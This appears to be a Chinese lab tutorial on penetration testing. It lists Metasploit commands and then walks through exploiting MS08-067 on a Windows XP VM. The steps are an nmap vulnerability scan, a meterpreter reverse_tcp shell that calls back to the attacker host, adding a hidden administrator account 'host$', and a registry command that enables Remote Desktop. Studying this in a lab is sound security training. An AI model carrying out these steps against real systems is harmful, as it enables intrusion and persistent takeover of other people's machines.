渗透测试基础

Metasploit基本命令

show exploits:显示Metasploit框架中所有可用的渗透攻击模块
show auxiliary:显示所有辅助模块以及他们的用途
show options:列出当前模块所需的各种参数,如果当前没有选择模块,则显示所有的全局参数
back:返回Metasploit的上一个状态,常用于修改某个参数之后
search:查找某个特定的渗透攻击,辅助或者攻击载荷模块
show payloads:显示与当前模块兼容的可用攻击载荷
show target:模块下列出受到漏洞影响的目标系统的类型
info:可以加上模块的名字显示目标模块的详细信息,参数说明以及可用的系统类型,如果已选择了模块,直接在提示符下输入info即可
set和unset:Metasploit模块中所有参数只有set和unset两个状态,输入show options可以查看哪些参数是必填的,使用set命令对某个参 数进行设置,使用unset命令可以禁用相关参数
steg和unsetg:对全局参数进行设置或清除,使用这组命令可以让你不必每次遇见某个参数都要重新设置
save:可以在任何时候输入save命令以保存当前状态,例如使用steg对参数进行设置后save,这样下次启动msf时还能使用这些设置值

一次完整的msf渗透攻击

攻击机:kali linux
靶机:windows xp sp2
利用安全漏洞:MS08-067

MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。这些操作系统服务器服务中的漏洞可能允许远程执行代码

nmap扫描

msf中执行

1
nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.48.134

-sT是指隐秘的TCP连接扫描,-A指高级操作系统探测功能,--script=smb-vuln-ms08-067是用到了nmap的插件,-P0是指无ping扫描

扫描结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
msf5 > nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.48.134
[*] exec: nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.48.134

Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-26 02:45 EDT
Nmap scan report for 192.168.48.134
Host is up (0.00085s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 00:0C:29:47:58:93 (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx

TRACEROUTE
HOP RTT ADDRESS
1 0.85 ms 192.168.48.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.02 seconds

可以看到报告处确实发现了MS08-067漏洞并且VULNERABLE,提示我们可以进一步攻击

使用Metasploit获取shell

在Metasploit中找到可用于此漏洞的模块

使用use加载这个模块

设置攻击载荷为基于Windows系统的Meterpreter reverse_tcp,这个载荷会在攻击成功后从目标主机发起一个反弹连接并连接到LHOST中指定的IP地址,以此绕过防火墙的入站流量保护或者来穿透NAT网关

使用show target识别匹配该模块影响的操作系统类型并执行set TARGET指定目标操作系统类型(大多数MSF渗透模块会自动对目标系统类型进行识别而不需要手工指定此参数,但针对MS08-067漏洞的攻击中通常无法正确的识别出系统类型)

我们指定操作系统类型为Windows XP SP2 Chinese - Simplified (NX),NX即为’No Execute’,表示windows启用了DEP保护,在Windows XP SP2中,DEP默认是启用的

通过set RHOST命令设置目标靶机IP地址,set LHOST设置反向连接地址为攻击机IP,set LPORT设置攻击机监听的TCP端口号,

如果不确定哪个tcp端口能够成功连接,可以使用msf内置的模块施行暴力猜接,使用search reverse_tcp_allports搜索

set payload windows/meterpreter/reverse_tcp_allports即可,不过要注意最后执行攻击的时候是exploit -j

最后输入show options确认这些参数都设置正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.48.134 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.48.128 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port


Exploit target:

Id Name
-- ----
10 Windows XP SP2 Chinese - Simplified (NX)

输入exploit初始化攻击环境并开始攻击

1
2
3
4
5
6
7
8
msf5 exploit(windows/smb/ms08_067_netapi) > exploit 

[*] Started reverse TCP handler on 192.168.48.128:8080
[*] 192.168.48.134:445 - Attempting to trigger the vulnerability...
[*] Sending stage (180291 bytes) to 192.168.48.134
[*] Meterpreter session 1 opened (192.168.48.128:8080 -> 192.168.48.134:1055) at 2020-07-26 03:42:03 -0400

meterpreter >

可以看到这次攻击是成功的,它为我们返回了一个reverse_tcp方式的Metasploit攻击载荷会话,此时可以使用sessions <ID>命令查看远程运行的Meterpreter情况

直接执行shell命令会把我们直接带到命令提示符状态栏下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
meterpreter > shell 
Process 2028 created.
Channel 1 created.
Microsoft Windows XP [�汾 5.1.2600]
(C) ��Ȩ���� 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
'whoami' �����ڲ����ⲿ���Ҳ���ǿ����еij���
�����������

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter ��������:

Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.48.134
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.48.2

C:\WINDOWS\system32>

之所以乱码,是因为kali中不支持windows的编码,一般可以通过命令chcp 65001解决,但这里不知道为啥解决不了,可能是会话不稳定导致

进一步渗透

使用net user host$ /add命令添加一个隐藏用户host$

net user查看用户

net user host$ password为用户设置密码

net localgroup administrators host$ /add将用户加到administrators组中提升该用户权限,再次net user host$查看该用户可以看到用户组已经改变

利用kali自带的远程连接工具登录靶机,发生错误

解决方法是在msf中输入如下命令开启终端服务

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

再次连接发现成功开启窗口

使用刚添加的用户进行登录

创建一个新用户验证权限

到此,一次简单完整的渗透攻击结束。